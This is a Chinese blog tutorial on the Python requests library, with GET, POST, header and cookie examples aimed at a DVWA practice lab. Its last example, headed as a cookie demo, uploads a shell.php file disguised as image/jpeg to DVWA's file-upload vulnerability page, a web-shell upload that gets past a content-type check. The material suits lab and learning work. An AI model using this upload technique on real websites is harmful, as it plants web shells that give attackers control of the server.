python中的requests用法_Python Requests库用法

Requests库

Requests库是Python中提供HTTP请求的库,基于urllib。

GET请求

import requests

resp = requests.get('http://baidu.com')

print(resp.text,resp.status_code)

requests库的请求方法返回一个类型的对象,可以通过``resp.text查看其中的文本内容,或者resp.statu_code`查看返回的状态码。

POST请求

requests库可以用post方法发送一个post请求。

import requests

datas = {

'username':'admin',

'password':'admin',

'Login':'Login'

}

resp = requests.post('http://192.168.68.134/dvwa/login.php',data=datas)

print(resp.text)

使用post方法中的data参数向请求中添加参数,添加的参数是一个字典。

Headers

Headers是Http的请求头,有的时候服务器可能会对请求头中的一些参数做一些限制,比如Cookies,User-Agent,可以通过以下方式修改:

import requests

headers = {

'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'

}

resp = requests.post('http://192.168.68.134/dvwa/login.php',headers = headers)

print(resp.text)

和post参数差不多,都是通过字典形式传入。

修改Cookies

修改Cookies就是在headers中添加一个Cookie键值对。

import requests

# 目标路径

import requests

url = "http://192.168.68.134/dvwa/vulnerabilities/upload/#"

headers = {

"Referer":"http://192.168.44.136/dvwa/vulnerabilities/upload/",

"Cookie":"security=medium; PHPSESSID=17qqf7919hhi1jnor2n1rarn05; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada"

}

data = {

"MAX_FILE_SIZE":100000,

"Upload":"Upload"

}

files = {"uploaded" : ("shell.php",open("./shell.php", "r"),"image/jpeg",{})}

resp = requests.request("POST",url, headers=headers, data=data,files=files).text

print(resp)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值